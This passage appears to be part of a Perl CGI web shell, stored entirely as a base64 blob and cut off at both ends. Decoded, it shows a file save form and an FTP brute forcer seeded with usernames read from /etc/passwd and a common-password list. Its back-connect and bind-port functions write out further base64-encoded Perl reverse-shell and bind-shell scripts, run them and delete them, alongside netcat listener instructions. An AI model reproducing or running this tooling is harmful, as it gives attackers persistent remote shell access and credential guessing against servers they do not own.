JF9cbiIpOwoJCX0KCQkkfD0wOwoJfQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgl7CgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygnJENvbW1hbmQnKTsKCX0KCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRm9ybSBTYXZlIEZpbGUgCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlRm9ybQp7CglteSAkcmVzdWx0ID0iIjsKCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOwoJbXkgJGZpbGU9JnRyaW0oJFJ1bkNvbW1hbmQpOwoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsKCW15ICRkaXI9IjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IE9wZW4gU2FuczsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7CglpZigtdyAkRmlsZSkKCXsKCQkkcm93cz0iMjMiCgl9ZWxzZQoJewoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBPcGVuIFNhbnM7IGNvbG9yOiB5ZWxsb3c7JyA+IFBlcm1pc3Npb24gZGVuaWVkITxmb250Pjxicj4iOwoJCSRyb3dzPSIyMCIKCX0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyNGRkZGRkYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCSRyZWFkPSgkV2luTlQpPyJ0eXBlIjoibGVzcyI7CgkkUnVuQ29tbWFuZCA9ICIkcmVhZCBcIiRSdW5Db21tYW5kXCIiOwoJJHJlc3VsdCAuPSAgPDxFTkQ7Cgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgoJJFByb21wdAoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4KCTxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+Cgk8YnI+Q29tbWFuZDogPHJ1bj4gJFJ1bkNvbW1hbmQgPC9ydW4+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpbGUiID4gJHNhdmUgPGJyPiAkbXNnCgk8YnI+PHRleHRhcmVhIGlkPSJkYXRhIiBuYW1lPSJkYXRhIiBjb2xzPSIkY29scyIgcm93cz0iJHJvd3MiIHNwZWxsY2hlY2s9ImZhbHNlIj4KRU5ECgkKCSRyZXN1bHQgLj0gJlJ1bkNtZDsKCSRyZXN1bHQgLj0gICI8L3RleHRhcmVhPiI7CgkkcmVzdWx0IC49ICAiPC9mb3JtPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgU2F2ZSBGaWxlCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlKCQpCnsKCW15ICREYXRhPSBzaGlmdCA7CglteSAkRmlsZT0gc2hpZnQ7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kRmlsZTsKCWlmKG9wZW4oRklMRSwgIj4kRmlsZSIpKQoJewoJCWJpbm1vZGUgRklMRTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJcmV0dXJuIDE7Cgl9ZWxzZQoJewoJCXJldHVybiAwOwoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCcnV0ZSBGb3JjZXIgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCcnV0ZUZvcmNlckZvcm0KewoJbXkgJHJlc3VsdD0iIjsKCSRyZXN1bHQgLj0gPDxFTkQ7Cgo8dGFibGU+Cgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjPGJyPgpTaW1wbGUgRlRQIGJydXRlIGZvcmNlcjxicj4KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJydXRlZm9yY2VyIi8+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkPlVzZXI6PGJyPjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InVzZXIiPgpFTkQKY2hvcCgkcmVzdWx0IC49IGBsZXNzIC9ldGMvcGFzc3dkIHwgY3V0IC1kOiAtZjFgKTsKJHJlc3VsdCAuPSA8PCdFTkQnOwo8L3RleHRhcmVhPjwvdGQ+Cjx0ZD4KClBhc3M6PGJyPgo8dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJwYXNzIj4xMjNwYXNzCjEyMyFAIwoxMjNhZG1pbgoxMjNhYmMKMTIzNDU2YWRtaW4KMTIzNDU1NDMyMQoxMjM0NDMyMQpwYXNzMTIzCmFkbWluCmFkbWluY3AKYWRtaW5pc3RyYXRvcgptYXRraGF1CnBhc3NhZG1pbgpwQHNzd29yZApwQHNzdzByZApwYXNzd29yZAoxMjM0NTYKMTIzNDU2NwoxMjM0NTY3OAoxMjM0NTY3ODkKMTIzNDU2Nzg5MAoxMTExMTEKMDAwMDAwCjIyMjIyMgozMzMzMzMKNDQ0NDQ0CjU1NTU1NQo2NjY2NjYKNzc3Nzc3Cjg4ODg4OAo5OTk5OTkKMTIzMTIzCjIzNDIzNAozNDUzNDUKNDU2NDU2CjU2NzU2Nwo2Nzg2NzgKNzg5Nzg5CjEyMzMyMQo0NTY2NTQKNjU0MzIxCjc2NTQzMjEKODc2NTQzMjEKOTg3NjU0MzIxCjA5ODc2NTQzMjEKYWRtaW4xMjMKYWRtaW4xMjM0NTYKYWJjZGVmCmFiY2FiYwohQCMhQCMKIUAjJCVeCiFAIyQlXiYqKAohQCMkJCNAIQphYmMxMjMKYW5oeWV1ZW0KaWxvdmV5b3U8L3RleHRhcmVhPgo8L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4KU2xlZXA6PHNlbGVjdCBuYW1lPSJzbGVlcCI+Cgo8b3B0aW9uPjA8L29wdGlvbj4KPG9wdGlvbj4xPC9vcHRpb24+CjxvcHRpb24+Mjwvb3B0aW9uPgoKPG9wdGlvbj4zPC9vcHRpb24+Cjwvc2VsZWN0PiAKPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9InN1Ym1pdCIgdmFsdWU9IkJydXRlIEZvcmNlciIvPjwvdGQ+PC90cj4KPC9mb3JtPgo8L3RhYmxlPgpFTkQKcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCcnV0ZUZvcmNlcgp7CglteSAkcmVzdWx0PSIiOwoJJFNlcnZlcj0kRU5WeydTRVJWRVJfQUREUid9OwoJaWYoJGlueyd1c2VyJ30gZXEgIiIpCgl7CgkJJHJlc3VsdCAuPSAmQnJ1dGVGb3JjZXJGb3JtOwoJfWVsc2UKCXsKCQl1c2UgTmV0OjpGVFA7IAoJCUB1c2VyPSBzcGxpdCgvXG4vLCAkaW57J3VzZXInfSk7CgkJQHBhc3M9IHNwbGl0KC9cbi8sICRpbnsncGFzcyd9KTsKCQljaG9tcChAdXNlcik7CgkJY2hvbXAoQHBhc3MpOwoJCSRyZXN1bHQgLj0gIjxicj48YnI+WytdIFRyeWluZyBicnV0ZSAkU2VydmVyTmFtZTxicj49PT09PT09PT09PT09PT09PT09PT4+Pj4+Pj4+Pj4+Pjw8PDw8PDw8PDw9PT09PT09PT09PT09PT09PT09PTxicj48YnI+XG4iOwoJCWZvcmVhY2ggJHVzZXJuYW1lIChAdXNlcikKCQl7CgkJCWlmKCEoJHVzZXJuYW1lIGVxICIiKSkKCQkJewoJCQkJZm9yZWFjaCAkcGFzc3dvcmQgKEBwYXNzKQoJCQkJewoJCQkJCSRmdHAgPSBOZXQ6OkZUUC0+bmV3KCRTZXJ2ZXIpIG9yIGRpZSAiQ291bGQgbm90IGNvbm5lY3QgdG8gJFNlcnZlck5hbWVcbiI7IAoJCQkJCWlmKCRmdHAtPmxvZ2luKCIkdXNlcm5hbWUiLCIkcGFzc3dvcmQiKSkKCQkJCQl7CgkJCQkJCSRyZXN1bHQgLj0gIjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSdmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyJz5bK10gZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcjwvYT48YnI+XG4iOwoJCQkJCQkkZnRwLT5xdWl0KCk7CgkJCQkJCWJyZWFrOwoJCQkJCX0KCQkJCQlpZighKCRpbnsnc2xlZXAnfSBlcSAiMCIpKQoJCQkJCXsKCQkJCQkJc2xlZXAoaW50KCRpbnsnc2xlZXAnfSkpOwoJCQkJCX0KCQkJCQkkZnRwLT5xdWl0KCk7CgkJCQl9CgkJCX0KCQl9CgkJJHJlc3VsdCAuPSAiXG48YnI+PT09PT09PT09PT4+Pj4+Pj4+Pj4gRmluaXNoZWQgPDw8PDw8PDw8PD09PT09PT09PT08YnI+XG4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJhY2tjb25uZWN0IEZvcm0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmFja0JpbmRGb3JtCnsKCXJldHVybiA8PEVORDsKCTxicj48YnI+CgoJPHRhYmxlPgoJPHRyPgoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgk8dGQ+QmFja0Nvbm5lY3Q6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+CgkgUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjciIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSI4MCIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JhJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij48L3RkPgoKCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPgoJPC9mb3JtPgoJPC90cj4KCTx0cj4KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2xpZW50IGxpc3RlbiBiZWZvcmUgY29ubmVjdCBiYWNrIQoJPGJyPlsrXSBUcnkgY2hlY2sgeW91ciBQb3J0IHdpdGggPGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Imh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLyI+aHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvPC9hPgoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT4KCgk8YnI+PGJyPgoJPHRhYmxlPgoJPHRyPgoJPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+CgoJPHRkPiBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSIxNDEyIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmknKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPgoKCSBQYXNzd29yZDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjE1IiBuYW1lPSJiaW5kcGFzcyIgdmFsdWU9IlRISUVVR0lBQlVPTiI+PC90ZD4KCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJCaW5kIj48L3RkPgoJPC9mb3JtPgoJPC90cj4KCTx0cj4KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2h1YyBuYW5nIGNodWEgZGMgdGVzdCEKCTxicj5bK10gVHJ5IGNvbW1hbmQ6IDxydW4+bmMgJEVOVnsnU0VSVkVSX0FERFInfSA8c3BhbiBpZD0iYmkiPjE0MTI8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+CgoJPC90cj4KCTwvdGFibGU+PGJyPgpFTkQKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgdXNlIHBlcmwKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmFja0JpbmQKewoJdXNlIE1JTUU6OkJhc2U2NDsKCXVzZSBTb2NrZXQ7CQoJJGJhY2twZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnU1U4Nk9sTnZZMnRsZERzTkNpUlRhR1ZzYkFrOUlDSXZZbWx1TDJKaGMyZ2lPdzBLSkVGU1IwTTlRRUZTUjFZN0RRcDFjMlVnVTI5amEyVjBPdzBLZFhObElFWnBiR1ZJWVc1a2JHVTdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnWjJWMGNISnZkRzlpZVc1aGJXVW9JblJqY0NJcEtTQnZjaUJrYVdVZ2NISnBiblFnSWxzdFhTQlZibUZpYkdVZ2RHOGdVbVZ6YjJ4MlpTQkliM04wWEc0aU93MEtZMjl1Ym1WamRDaFRUME5MUlZRc0lITnZZMnRoWkdSeVgybHVLQ1JCVWtkV1d6RmRMQ0JwYm1WMFgyRjBiMjRvSkVGU1IxWmJNRjBwS1NrZ2IzSWdaR2xsSUhCeWFXNTBJQ0piTFYwZ1ZXNWhZbXhsSUhSdklFTnZibTVsWTNRZ1NHOXpkRnh1SWpzTkNuQnlhVzUwSUNKRGIyNXVaV04wWldRaElqc05DbE5QUTB0RlZDMCtZWFYwYjJac2RYTm9LQ2s3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDSStKbE5QUTB0RlZDSXBPdzBLYjNCbGJpaFRWRVJGVWxJc0lqNG1VMDlEUzBWVUlpazdEUXB3Y21sdWRDQWlMUzA5UFNCRGIyNXVaV04wWldRZ1FtRmphMlJ2YjNJZ1BUMHRMU0FnWEc1Y2JpSTdEUXB6ZVhOMFpXMG9JblZ1YzJWMElFaEpVMVJHU1V4Rk95QjFibk5sZENCVFFWWkZTRWxUVkNBN1pXTm9ieUFuV3l0ZElGTjVjM1JsYldsdVptODZJQ2M3SUhWdVlXMWxJQzFoTzJWamFHODdaV05vYnlBbld5dGRJRlZ6WlhKcGJtWnZPaUFuT3lCcFpEdGxZMmh2TzJWamFHOGdKMXNyWFNCRWFYSmxZM1J2Y25rNklDYzdJSEIzWkR0bFkyaHZPeUJsWTJodklDZGJLMTBnVTJobGJHdzZJQ2M3SkZOb1pXeHNJaWs3RFFwamJHOXpaU0JUVDBOTFJWUTciOwoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsKCgkkQ2xpZW50QWRkciA9ICRpbnsnY2xpZW50YWRkcid9OwoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOwoJaWYoJENsaWVudFBvcnQgZXEgMCkKCXsKCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsKCX1lbHNpZighJENsaWVudEFkZHIgZXEgIiIpCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOwoJCWlmKC13ICIvdG1wLyIpCgkJewoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQoJCX1lbHNlCgkJewoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOwoJCX0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJc3lzdGVtKCJwZXJsIGJhY2tjb25uZWN0LnBsICRDbGllbnRBZGRyICRDbGllbnRQb3J0Iik7CgkJdW5saW5rKCRGaWxlKTsKCQlleGl0IDA7Cgl9ZWxzZQoJewoJCSREYXRhPWRlY29kZV9iYXNlNjQoJGJpbmRwZXJsKTsKCQlpZigtdyAiL3RtcCIpCgkJewoJCQkkRmlsZT0iL3RtcC9iaW5kcG9ydC5wbCI7CQoJCX1lbHNlCgkJewoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmluZHBvcnQucGwiOwoJCX0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJc3lzdGVtKCJwZXJsIGJpbmRwb3J0LnBsICRDbGllbnRQb3J0Iik7CgkJdW5saW5rKCRGaWxlKTsKCQlleGl0IDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojICBBcnJheSBMaXN0IERpcmVjdG9yeQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSbURpcigkKSAKewoJbXkgJGRpciA9IHNoaWZ0OwogICAgaWYob3BlbmRpcihESVIsJGRpcikpCgl7CgkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJewoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpCgkJCXsKCQkJCSRmaWxlPSAkZGlyLiRQYXRoU2VwLiRmaWxlOwoJCQkJaWYoLWQgJGZpbGUpCgkJCQl7CgkJCQkJJlJtRGlyKCRmaWxlKTsKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCQkJCQl1bmxpbmsoJGZpbGUpOwoJCQkJfQoJCQl9CgkJfQoJCWNsb3NlZGlyKERJUik7Cgl9CglpZighcm1kaXIoJGRpcikpCgl7CgkJCgl9Cn0Kc3ViIEZpbGVPd25lcigkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWUgJGZpbGUpCgl7CgkJKCR1aWQsJGdpZCkgPSAoc3RhdCgkZmlsZSkpWzQsNV07CgkJaWYoJFdpbk5UKQoJCXsKCQkJcmV0dXJuICI/Pz8iOwoJCX0KCQllbHNlCgkJewoJCQkkbmFtZT1nZXRwd3VpZCgkdWlkKTsKCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOwoJCQlyZXR1cm4gJG5hbWUuIi8iLiRncm91cDsKCQl9Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIFBhcmVudEZvbGRlcigkKQp7CglteSAkcGF0aCA9IHNoaWZ0OwoJbXkgJENvbW0gPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAuLiIuJENtZFNlcC4kQ21kUHdkOwoJY2hvcCgkcGF0aCA9IGAkQ29tbWApOwoJcmV0dXJuICRwYXRoOwp9CnN1YiBGaWxlUGVybXMoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCW15ICR1ciA9ICItIjsKCW15ICR1dyA9ICItIjsKCWlmKC1lICRmaWxlKQoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWlmKC1yICRmaWxlKXsgJHVyID0gInIiOyB9CgkJCWlmKC13ICRmaWxlKXsgJHV3ID0gInciOyB9CgkJCXJldHVybiAkdXIgLiAiIC8gIiAuICR1dzsKCQl9ZWxzZQoJCXsKCQkJJG1vZGU9KHN0YXQoJGZpbGUpKVsyXTsKCQkJJHJlc3VsdCA9IHNwcmludGYoIiUwNG8iLCAkbW9kZSAmIDA3Nzc3KTsKCQkJcmV0dXJuICRyZXN1bHQ7CgkJfQoJfQoJcmV0dXJuICIwMDAwIjsKfQpzdWIgRmlsZUxhc3RNb2RpZmllZCgkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWUgJGZpbGUpCgl7CgkJKCRsYSkgPSAoc3RhdCgkZmlsZSkpWzldOwoJCSgkZCwkbSwkeSwkaCwkaSkgPSAobG9jYWx0aW1lKCRsYSkpWzMsNCw1LDIsMV07CgkJJHkgPSAkeSArIDE5MDA7CgkJQG1vbnRoID0gcXcvMSAyIDMgNCA1IDYgNyA4IDkgMTAgMTEgMTIvOwoJCSRsbXRpbWUgPSBzcHJpbnRmKCIlMDJkLyVzLyU0ZCAlMDJkOiUwMmQiLCRkLCRtb250aFskbV0sJHksJGgsJGkpOwoJCXJldHVybiAkbG10aW1lOwoJfQoJcmV0dXJuICI/Pz8iOwp9CnN1YiBGaWxlU2l6ZSgkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWYgJGZpbGUpCgl7CgkJcmV0dXJuIC1zICRmaWxlOwoJfQoJcmV0dXJuICIwIjsKCn0Kc3ViIFBhcnNlRmlsZVNpemUoJCkKewoJbXkgJHNpemUgPSBzaGlmdDsKCWlmKCRzaXplIDw9IDEwMjQpCgl7CgkJcmV0dXJuICRzaXplLiAiIEIiOwoJfQoJZWxzZQoJewoJCWlmKCRzaXplIDw9IDEwMjQqMTAyNCkgCgkJewoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMDJmIiwkc2l6ZSAvIDEwMjQpOwoJCQlyZXR1cm4gJHNpemUuIiBLQiI7CgkJfQoJCWVsc2UgCgkJewoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMmYiLCRzaXplIC8gMTAyNCAvIDEwMjQpOwoJCQlyZXR1cm4gJHNpemUuIiBNQiI7CgkJfQoJfQp9CnN1YiB0cmltKCQpCnsKCW15ICRzdHJpbmcgPSBzaGlmdDsKCSRzdHJpbmcgPX4gcy9eXHMrLy87Cgkkc3RyaW5nID1+IHMvXHMrJC8vOwoJcmV0dXJuICRzdHJpbmc7Cn0Kc3ViIEFkZFNsYXNoZXMoJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZz1+IHMvXFwvXFxcXC9nOwoJcmV0dXJuICRzdHJpbmc7Cn0Kc3ViIExpc3REaXIKewoJbXkgJHBhdGggPSAkQ3VycmVudERpci4kUGF0aFNlcDsKCSRwYXRoPX4gcy9cXFxcL1xcL2c7CglteSAkcmVzdWx0ID0gIjxmb3JtIG5hbWU9J2YnIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBPcGVuIFNhbnM7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOwoJaWYoLWQgJHBhdGgpCgl7CgkJbXkgQGZuYW1lID0gKCk7CgkJbXkgQGRuYW1lID0gKCk7CgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQoJCXsKCQkJd2hpbGUoJGZpbGUgPS